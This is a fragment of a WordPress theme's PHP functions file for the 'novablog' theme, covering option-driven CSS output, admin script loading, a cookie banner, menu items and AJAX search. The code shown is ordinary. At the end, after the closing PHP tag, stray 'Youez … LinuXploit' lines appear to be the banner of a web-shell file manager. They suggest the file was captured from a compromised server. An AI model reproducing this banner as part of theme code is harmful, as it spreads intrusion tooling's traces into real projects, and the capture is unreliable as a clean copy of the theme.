			}else{echo '#cart-wrap .but-cart, .sidebar .social__list a, .footer .social__list a, .footer .social__list_both a, .sidebar .social__list_both a, .footer .instagram-footer .readmore-button a, a.btn, a.comment-reply-link, input[type="submit"], .category-filter ul li a, .woocommerce #review_form #respond .form-submit input, .woocommerce .widget_price_filter .price_slider_amount .button, .woocommerce div.product form.cart .button, .woocommerce #respond input#submit, .woocommerce #respond input#submit.alt, .woocommerce a.button, .woocommerce a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt, .woocommerce button.button, .woocommerce input.button { border-color: #222222;}';}

if ($novablog_options['buttons_border_color']['hover']) { 
			echo '#cart-wrap .but-cart:hover, .footer .instagram-footer .readmore-button a:hover, a.comment-reply-link:hover, input[type="submit"]:hover, .btn-default.active, .btn-default.focus, .btn-default:active, .btn-default:focus, .btn-default:hover, .open > .dropdown-toggle.btn-default, .category-filter ul li.current-cat a, .category-filter ul li a:hover, .woocommerce #review_form #respond .form-submit input:hover, .woocommerce .widget_price_filter .price_slider_amount .button:hover, .woocommerce div.product form.cart .button:hover, .woocommerce #respond input#submit:hover, .woocommerce #respond input#submit.alt, .woocommerce a.button:hover, .woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover, .woocommerce button.button:hover, .woocommerce input.button:hover { border-color: '.$novablog_options['buttons_border_color']['hover'].'}';
			}else{echo '#cart-wrap .but-cart:hover, .footer .instagram-footer .readmore-button a:hover, a.comment-reply-link:hover, input[type="submit"]:hover, .btn-default.active, .btn-default.focus, .btn-default:active, .btn-default:focus, .btn-default:hover, .open > .dropdown-toggle.btn-default, .category-filter ul li.current-cat a, .category-filter ul li a:hover, .woocommerce #review_form #respond .form-submit input:hover, .woocommerce .widget_price_filter .price_slider_amount .button:hover, .woocommerce div.product form.cart .button:hover, .woocommerce #respond input#submit:hover, .woocommerce #respond input#submit.alt, .woocommerce a.button:hover, .woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover, .woocommerce button.button:hover, .woocommerce input.button:hover { border-color: #222222;}';}
			}
			if (isset($novablog_options['buttons_background_color'])) { 
if ($novablog_options['buttons_background_color']['regular']) { 
			echo '#cart-wrap .but-cart, .footer .instagram-footer .readmore-button a, a.btn, a.comment-reply-link, input[type="submit"], .tagcloud a, .category-filter ul li a, .woocommerce #review_form #respond .form-submit input, .woocommerce .widget_price_filter .price_slider_amount .button, .woocommerce div.product form.cart .button, .woocommerce #respond input#submit, .woocommerce #respond input#submit.alt, .woocommerce a.button, .woocommerce a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt, .woocommerce button.button, .woocommerce input.button { background: '.$novablog_options['buttons_background_color']['regular'].'}';
			}else{echo '#cart-wrap .but-cart, .footer .instagram-footer .readmore-button a, a.btn, a.comment-reply-link, input[type="submit"], .tagcloud a, .category-filter ul li a, .woocommerce #review_form #respond .form-submit input, .woocommerce .widget_price_filter .price_slider_amount .button, .woocommerce div.product form.cart .button, .woocommerce #respond input#submit, .woocommerce #respond input#submit.alt, .woocommerce a.button, .woocommerce a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt, .woocommerce button.button, .woocommerce input.button { background: #ffffff;}';}

if ($novablog_options['buttons_background_color']['hover']) { 
			echo '#cart-wrap .but-cart:hover, .footer .instagram-footer .readmore-button a:hover, a.comment-reply-link:hover, input[type="submit"]:hover, .btn-default.active, .btn-default.focus, .btn-default:active, .btn-default:focus, .btn-default:hover, .open > .dropdown-toggle.btn-default,.tagcloud a:hover, .category-filter ul li.current-cat a, .category-filter ul li a:hover, .woocommerce #review_form #respond .form-submit input:hover, .woocommerce .widget_price_filter .price_slider_amount .button:hover, .woocommerce div.product form.cart .button:hover, .woocommerce #respond input#submit:hover, .woocommerce #respond input#submit.alt, .woocommerce a.button:hover, .woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover, .woocommerce button.button:hover, .woocommerce input.button:hover { background: '.$novablog_options['buttons_background_color']['hover'].'}';
			}else{echo '#cart-wrap .but-cart:hover, .footer .instagram-footer .readmore-button a:hover, a.comment-reply-link:hover, input[type="submit"]:hover, .btn-default.active, .btn-default.focus, .btn-default:active, .btn-default:focus, .btn-default:hover, .open > .dropdown-toggle.btn-default,.tagcloud a:hover, .category-filter ul li.current-cat a, .category-filter ul li a:hover, .woocommerce #review_form #respond .form-submit input:hover, .woocommerce .widget_price_filter .price_slider_amount .button:hover, .woocommerce div.product form.cart .button:hover, .woocommerce #respond input#submit:hover, .woocommerce #respond input#submit.alt, .woocommerce a.button:hover, .woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover, .woocommerce button.button:hover, .woocommerce input.button:hover { background: #222222;}';}	
}	
if (isset($novablog_options['view_post_button_border_color'])) { 	
if ($novablog_options['view_post_button_border_color']['regular']) { 
			echo '.viewpost-button a.button { border-color: '.$novablog_options['view_post_button_border_color']['regular'].'}';
			}else{echo '.viewpost-button a.button { border-color: #ffffff;}';}
if ($novablog_options['view_post_button_border_color']['hover']) { 
			echo '.viewpost-button a.button:hover { border-color: '.$novablog_options['view_post_button_border_color']['hover'].'}';
			}else{echo '.viewpost-button a.button:hover { border-color: #ffffff;}';}}
if (isset($novablog_options['view_post_button_background_color'])) { 
if ($novablog_options['view_post_button_background_color']['regular']) { 
			echo '.viewpost-button a.button { background: '.$novablog_options['view_post_button_background_color']['regular'].'}';
			}else{echo '.viewpost-button a.button { background: #ffffff;}';}

if ($novablog_options['view_post_button_background_color']['hover']) { 
			echo '.viewpost-button a.button:hover { background: '.$novablog_options['view_post_button_background_color']['hover'].'}';
			}else{echo '.viewpost-button a.button:hover { background: #ffffff;}';}
			}
if (isset($novablog_options['view_post_slideshow_border_color'])) { 	
if ($novablog_options['view_post_slideshow_border_color']['regular']) { 
			echo 'a.slideshow-btn { border-color: '.$novablog_options['view_post_slideshow_border_color']['regular'].'}';
			}else{echo 'a.slideshow-btn { border-color: #ffffff;}';}
if ($novablog_options['view_post_slideshow_border_color']['hover']) { 
			echo 'a.slideshow-btn:hover { border-color: '.$novablog_options['view_post_slideshow_border_color']['hover'].'}';
			}else{echo 'a.slideshow-btn:hover { border-color: #ffffff;}';}}
if (isset($novablog_options['view_post_slideshow_background_color'])) { 
if ($novablog_options['view_post_slideshow_background_color']['regular']) { 
			echo 'a.slideshow-btn { background: '.$novablog_options['view_post_slideshow_background_color']['regular'].'}';
			}else{echo 'a.slideshow-btn { background: #ffffff;}';}

if ($novablog_options['view_post_slideshow_background_color']['hover']) { 
			echo 'a.slideshow-btn:hover { background: '.$novablog_options['view_post_slideshow_background_color']['hover'].'}';
			}else{echo 'a.slideshow-btn:hover { background: #ffffff;}';}
			}
if (isset($novablog_options['slideshow_overlay_link'])) { 
if ($novablog_options['slideshow_overlay_link'] == 'no' ) { 
			echo '.cover .cover-link { display:none;}';
			}}
//page number links
if (isset($novablog_options['pagnum_button_border_color']['regular'])) { 
			echo '.page-numbers li a { border-color: '.$novablog_options['pagnum_button_border_color']['regular'].'}';
			}else{echo '.page-numbers li a { border-color: #ffffff;}';}
			
if (isset($novablog_options['pagnum_button_color']['active'])) { 
			echo '.page-numbers .current { color: '.$novablog_options['pagnum_button_color']['active'].'}';
			}else{echo '.page-numbers .current { color: #ffffff;}';}
			
if (isset($novablog_options['pagnum_button_border_color']['active'])) { 
			echo '.page-numbers .current { border-color: '.$novablog_options['pagnum_button_border_color']['active'].'}';
			}else{echo '.page-numbers .current { border-color: #ffffff;}';}
			
if (isset($novablog_options['pagnum_button_background_color']['active'])) { 
			echo '.page-numbers .current { background: '.$novablog_options['pagnum_button_background_color']['active'].'}';
			}else{echo '.page-numbers .current { background: #ffffff;}';}
			
if (isset($novablog_options['pagnum_button_border_color']['hover'])) { 
			echo '.page-numbers li a:hover { border-color: '.$novablog_options['pagnum_button_border_color']['hover'].'}';
			}else{echo '.page-numbers li a:hover { border-color: #ffffff;}';}
			
if (isset($novablog_options['pagnum_button_background_color']['regular'])) { 
			echo '.page-numbers li a { background: '.$novablog_options['pagnum_button_background_color']['regular'].'}';
			}else{echo '.page-numbers li a { background: #ffffff;}';}

if (isset($novablog_options['pagnum_button_background_color']['hover'])) { 
			echo '.page-numbers li a:hover { background: '.$novablog_options['pagnum_button_background_color']['hover'].'}';
			}else{echo '.page-numbers li a:hover { background: #ffffff;}';}		

if (isset($novablog_options['sidebar_heading_arrow_enable'])) { 
if ($novablog_options['sidebar_heading_border_color']['border-color'] && $novablog_options['sidebar_heading_arrow_enable'] == 'yes') { 
			echo '.widget-content h4.subtitle:before { border-top-color: '.$novablog_options['sidebar_heading_border_color']['border-color'].'}';
			}}

if (isset($novablog_options['menu_typography']['line-height'])) { 
			echo '.icon-menu a { line-height: '.$novablog_options['menu_typography']['line-height'].';}';
			}
			
			
			
$novablog_custom_generated_styles = ob_get_clean();
        
        wp_add_inline_style( 'novablog-style', $novablog_custom_generated_styles );
	 }
}

/*	Register and load admin javascript
/*-----------------------------------------------------------------------------------*/

function novablog_admin_js($hook) {
	if ($hook == 'post.php' || $hook == 'post-new.php') {
		wp_register_script('hs-admin', trailingslashit(get_template_directory_uri()) . 'js/jquery.custom.admin.js', 'jquery');
		wp_enqueue_script('hs-admin');
		
	}
}
add_action('admin_enqueue_scripts','novablog_admin_js',10,1);
if( is_admin() ) {
add_action( 'admin_enqueue_scripts', 'nav_menu_script' );
	function nav_menu_script() {
		$screen = get_current_screen();
		if( 'nav-menus' != $screen->base )
			return;

		wp_enqueue_script( 'novablog-widgets-menu-admin', get_template_directory_uri() . '/includes/main-menu/admin/js/admin-nav-menu.js', array( 'jquery' ) );

		do_action( 'novablog_widgets_menu_enqueue_admin_scripts' );
		remove_action( 'admin_enqueue_scripts', 'nav_menu_script' );

		do_action( 'sidebar_admin_setup' );
		do_action( 'admin_enqueue_scripts', 'widgets.php' );
		do_action( "admin_print_styles-widgets.php" );
	}
}

function novablog_pfui_add_meta_boxes() {
	 $current_page = get_current_screen()->base;
    if($current_page == 'post') {

		// assets
		wp_enqueue_script('novablog-post-formats-ui', trailingslashit(get_template_directory_uri()).'includes/post-gallery/js/admin.js', array('jquery'), '1.5');
		wp_enqueue_style('novablog-post-formats-ui', trailingslashit(get_template_directory_uri()).'includes/post-gallery/css/admin.css', array(), '1.5', 'screen');

		wp_localize_script(
			'novablog-post-formats-ui',
			'novablog_pfui_post_format',
			array(
				'loading'      => esc_html__('Loading...', 'novablog'),
				'wpspin_light' => admin_url('images/wpspin_light.gif'),
				'media_title'  => esc_html__('Pick Gallery Images', 'novablog'),
				'media_button' => esc_html__('Add Image(s)', 'novablog')
			)
		);

	}
	if($current_page == 'page') {
	wp_enqueue_style('novablog-post-formats-ui', trailingslashit(get_template_directory_uri()).'includes/post-gallery/css/admin.css', array(), '1.5', 'screen');
	}
	
}
add_action('admin_enqueue_scripts', 'novablog_pfui_add_meta_boxes');

function novablog_addPanelCSS() {
wp_register_style( 'redux-custom-css', trailingslashit(get_template_directory_uri()) . 'admin-panel/redux-style.css', array( 'redux-admin-css' ), '1.0', 'all' );	
wp_enqueue_style('redux-custom-css');
}
add_action( 'redux/page/novablog_options/enqueue', 'novablog_addPanelCSS' );

 
	if(!function_exists('novablog_enable_threaded_comments')) {
		function novablog_enable_threaded_comments()
		{
			if (!is_admin()) {
				if (is_singular() AND comments_open() AND (get_option('thread_comments') == 1)) {
					wp_enqueue_script('comment-reply');
				}
			}	
		}
		add_action('get_header', 'novablog_enable_threaded_comments');
	}


add_filter( 'the_content_more_link', 'novablog_modify_read_more_link' );
function novablog_modify_read_more_link() {
return '<div class="viewpost-button"><a class="button" href="' . get_permalink() . '"><span>'.theme_locals("continue_reading").'</span></a></div>';
}

require_once get_template_directory() . '/includes/register-plugins.php';
require_once get_template_directory() . '/includes/aq_resizer.php';


function novablog_set_posts_per_page_for_gallery_categories( $query ) {
$novablog_images_per_page = novablog_getVariable('images_per_page');
if($novablog_images_per_page ==''){$novablog_images_per_page = 6;}
if (!is_admin() && $query->is_main_query() && is_tax('gallery_categories')) {

        $query->set( 'posts_per_page', $novablog_images_per_page );
        return;
    }
}
add_action( 'pre_get_posts', 'novablog_set_posts_per_page_for_gallery_categories' );

add_filter('wp_nav_menu_items','novablog_wcmenucart', 10, 2);
function novablog_wcmenucart($menu, $args) {
$subscribe = $search = $burger = '';

if ( $args->theme_location == 'primary-menu'  ) {
        
if ( novablog_getVariable('hs_newsletter_display')=='yes' ) {
			$subscribe = '<li><a class="newsletter-ajax-popup" href="#hs_signup">'.theme_locals("subscribe").'</a></li>';
}
			
if ( novablog_getVariable('g_search_box_id')=='yes') { 
			$search = '<li class="hidden-xs search-icon-link"><a class="search-icon" href="#"><i class="hs hs-search-2"></i></a></li>';
} 

}  
    $menu = $menu . $subscribe . $search;
    return $menu;
}

add_filter( 'wp_footer', 'novablog_cookie_banner' );
function novablog_cookie_banner() {

	if ( 'no' == novablog_getVariable( 'cookie_banner' ) or '' == novablog_getVariable( 'cookie_banner' ) ) {
		return;
	}

	if ( '' == novablog_getVariable( 'cookie_text' ) ) {
		return;
	}

	if ( isset( $_COOKIE['novablog_cookie_banner'] ) && '1' == $_COOKIE['novablog_cookie_banner'] ) {
		return;
	}

	ob_start(); ?>

	<div id="novablog-cookie-banner" class="novablog-cookie-banner-wrap alert alert-warning alert-dismissible" role="alert">
		<div class="container">
		<div class="row"><div class="col-md-12">
			<a href="#" id="novablog-dismiss-cookie" class="btn" data-dismiss="alert" aria-label="Close">
				<span aria-hidden="true"><?php esc_html_e('Got it!', 'novablog'); ?></span>
			</a>
			<?php echo htmlspecialchars_decode( novablog_getVariable( 'cookie_text' ) ); ?>
		</div></div></div>
	</div>

	<?php $output = ob_get_contents();
	ob_end_clean();
	$output = apply_filters( 'novablog_cookie_banner', $output );

	printf( '%s', $output );
}

add_action( 'wp_enqueue_scripts', 'novablog_enqueue_utility_scripts' );
function novablog_enqueue_utility_scripts() {
if ( 'no' != novablog_getVariable( 'cookie_banner' ) && !( isset( $_COOKIE['novablog_cookie_banner'] ) && '1' == $_COOKIE['novablog_cookie_banner'] )) { 
		wp_enqueue_script('novablog-cookie-banner', trailingslashit(get_template_directory_uri()).'/js/jquery.novablog.cookie.banner.js',array( 'jquery' ),'1.0.0',true);
		wp_localize_script( 'novablog-cookie-banner', 'cookie_banner_args', array(
				'name'    => 'novablog_cookie_banner',
				'value'   => '1',
				'options' => array(
					'expires' => YEAR_IN_SECONDS,
					'path'    => ( defined( 'COOKIEPATH' ) ? COOKIEPATH : '/' ),
					'domain'  => ( defined( 'COOKIE_DOMAIN' ) ? COOKIE_DOMAIN : '' ),
				),
			)
		);
	}
	}

require_once get_template_directory() . '/includes/main-menu/class-mega-menu.php';

function novablog_theme_mega_menu_query( $args ) {
	$args['posts_per_page'] = 4;
	return $args;
}
add_filter( 'novablog_mega_menu_query', 'novablog_theme_mega_menu_query' );

if (class_exists( 'WooCommerce' )) {
	require_once get_template_directory() . '/woocommerce-scripts/woocommerce-scripts.php';
}

add_filter('the_content', 'novablog_add_my_signature');
function novablog_add_my_signature($content) {
if(novablog_getVariable('signature_text') !='') {
$novablog_my_custom_signature_text = '<div class="signature-text">'.novablog_getVariable('signature_text').'</div>'; 
}else{$novablog_my_custom_signature_text ='';}

if(novablog_getVariable('custom-signature-image','url') !='') {
$novablog_my_custom_signature_image = '<div class="signature-image"><img src="'.esc_url( novablog_getVariable('custom-signature-image','url')).'" width="'.esc_attr( novablog_getVariable('custom-signature-image','width')).'" height="'.esc_attr( novablog_getVariable('custom-signature-image','height')).'" alt="signature" title="signature" /></div>';
}else{$novablog_my_custom_signature_image ='';}


if(is_single() && 'gallery' != get_post_type() && !is_home() && 'no' != novablog_getVariable( 'custom-signature-display' )) {
if(!has_post_format( array('quote','link'))) {

$content .= '<div class="custom-signature">'.$novablog_my_custom_signature_text.$novablog_my_custom_signature_image.'</div>';

}}
return $content;
} 

function novablog_posts_in_category($query){
global $novablog_options;
if(isset($novablog_options['items_cat_count'])){
$items_cat_count = $novablog_options['items_cat_count'];
if($items_cat_count ==''){$items_cat_count = 6;}
    if ($query->is_category && $query->is_main_query()) {
		if ($items_cat_count) {
            $query->set('posts_per_archive_page', $items_cat_count);
			}
    }
}
}
add_filter('pre_get_posts', 'novablog_posts_in_category');

add_filter( 'body_class','novablog_body_classes' );
function novablog_body_classes( $classes ) {
if(novablog_getVariable('header_layout')== 'topleftmenu' && !novablog_is_touch( 'phone' )){
$classes[] = 'top-left-menu';
}
if(novablog_getVariable('header_layout')== 'left' && novablog_is_woocommerce_active() && novablog_getVariable('hamburger_menu') == 'no'){
$classes[] = 'yes-woo-and-burger';
}
if(novablog_getVariable('header_layout')== 'left' && !novablog_is_woocommerce_active() && novablog_getVariable('hamburger_menu') == 'no'){
$classes[] = 'yes-burger';
}
if(novablog_getVariable('header_layout')== 'left' && novablog_is_woocommerce_active() && novablog_getVariable('hamburger_menu') == 'yes'){
$classes[] = 'yes-burger';
}
if(novablog_getVariable('header_layout')== 'topleftmenu' && novablog_is_woocommerce_active() && novablog_getVariable('hamburger_menu') == 'no'){
$classes[] = 'yes-topleftmenu-woo-and-burger';
}
if(novablog_getVariable('header_layout')== 'topleftmenu' && !novablog_is_woocommerce_active() && novablog_getVariable('hamburger_menu') == 'no'){
$classes[] = 'yes-topleftmenu-burger';
}
if(novablog_getVariable('header_layout')== 'topleftmenu' && novablog_is_woocommerce_active() && novablog_getVariable('hamburger_menu') == 'yes'){
$classes[] = 'yes-topleftmenu-burger';
}
$classes[] = novablog_is_touch() ? 'touch' : 'no-touch';
if(novablog_getVariable('main_layout')== 'boxed'){
$classes[] = 'boxed';
}else{
$classes[] = 'wide';
}
return $classes;    
}

function novablog_pinterest_share() {
$permalink = get_permalink(get_the_ID());
$titleget = wp_strip_all_tags(get_the_title());

$pinterest_share = novablog_getVariable('pinterest_share');
if ($pinterest_share=='yes') { $pinterestimage = wp_get_attachment_image_src( get_post_thumbnail_id( get_the_ID() ), 'full' );
echo '<a target="_blank" class="hs hs-pinterest pinterest-share-icon" href="http://pinterest.com/pin/create/button/?url='.esc_url( $permalink).'&amp;media='.esc_attr($pinterestimage[0]).'&amp;description='.str_replace(" ", "%20", $titleget).'" data-pin-do="buttonPin" data-pin-custom="true"></a>';
 } 
}

function novablog_tc_more_buttons($buttons) {
    array_push($buttons, 'fontselect','fontsizeselect','styleselect');
 
    return $buttons;
}
add_filter("mce_buttons_3", "novablog_tc_more_buttons");

add_filter('nav_menu_item_id', 'novablog_clear_nav_menu_item_id', 10, 4);
function novablog_clear_nav_menu_item_id($menu_item_item_id, $item, $args, $depth) {
    return "";
}

function novablog_formaticons() {
 $postid = get_the_ID();
 $formaticons = get_post_format( $postid );
if(is_sticky()){
	echo "<div class=\"ribbon-featured\">".theme_locals('featured')."</div>";
	}else{ 
 switch ($formaticons) {
    case "link":
        echo "<div class=\"post-formats hidden-phone\"><i class=\"hs hs-link\"></i></div>";
        break;
	case "quote":
        echo "<div class=\"post-formats hidden-phone\"><i class=\"icon-quote\"></i></div>";
        break;		
}
}
}

function novablog_no_front_sticky($qry) {
  if ((is_home() && $qry->is_main_query() && novablog_getVariable('blog_sidebar_pos')=='masonry2sideright') or (is_home() && $qry->is_main_query() && novablog_getVariable('blog_sidebar_pos')=='masonry2sideleft') ) {
    $qry->set('post__not_in',get_option( 'sticky_posts' ));
  }
}
add_action('pre_get_posts','novablog_no_front_sticky'); 

add_filter('wp_list_categories', 'novablog_cat_count_span');
function novablog_cat_count_span($links) {
  $links = str_replace('</a> (', '</a> <span>(', $links);
  $links = str_replace(')', ')</span>', $links);
  return $links;
}

/**
 * Search Autocomplete
 *
 * @since 1.0.0
 */
 
function novablog_search_autocomplete(){
	if(!empty($_POST['term'])){
		$term  = sanitize_text_field($_POST['term']);
		if(!empty($term)){
			$query_args = array(
						'post_type'=>array('post'),
						'post_status'=>'publish',
						'posts_per_page'=>4,
						's'=>$term
			);
			global $wpdb,$query,$is_woocmerce_active,$is_product;
			$is_woocmerce_active = novablog_is_woocommerce_active();
			if($is_woocmerce_active){
				$query_args['post_type'][] = 'product';
			}
			
			wp_reset_postdata();
			$query = new WP_Query( $query_args );
			
			if($is_woocmerce_active){
				$is_woocmerce_active = false;
				$is_product = false;
				while ( $query->have_posts() ){
					$query->the_post();
					if(get_post_type()==='product'){
						$is_woocmerce_active = true;
					}
					else{
						$is_product = true;
					}
					
					if($is_product && $is_woocmerce_active){
						break;
					}
				}
				$query->rewind_posts();
			}
			else{
				$is_product = true;
			}
			
			get_template_part( 'includes/search-box-result' );
		}
	}
	wp_die();
}



add_action('wp_ajax_novablog_search_autocomplete','novablog_search_autocomplete');
add_action('wp_ajax_nopriv_novablog_search_autocomplete','novablog_search_autocomplete');

if (!empty($_GET['type']) && in_array($_GET['type'], array('post', 'product')) && !is_admin()) {
    add_filter('pre_get_posts', 'novablog_search_pre_get_posts', 5, 1);
}

function novablog_search_pre_get_posts($query) {
    if ($query->is_main_query() && $query->is_search()) {
        $post_type = $_GET['type'];
        $post_types = $post_type === 'post' ? array('post', 'page') : (novablog_is_woocommerce_active() ? $post_type : false);
        if ($post_types) {
            if ($post_type === 'post' && ((is_array($query->post_type) && !in_array('page', $query->post_type)))) {
                $post_types = $post_type;
            }
            global $wp_post_types;
            $searchable_cpt = is_array($post_types) ? $post_types : array($post_types);
            //for builder's action do_search
            foreach ($wp_post_types as $k => &$p) {
                $p->exclude_from_search = !in_array($k, $searchable_cpt);
            }
            $query->set('post_type', $post_types);
        }
    }
    return $query;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit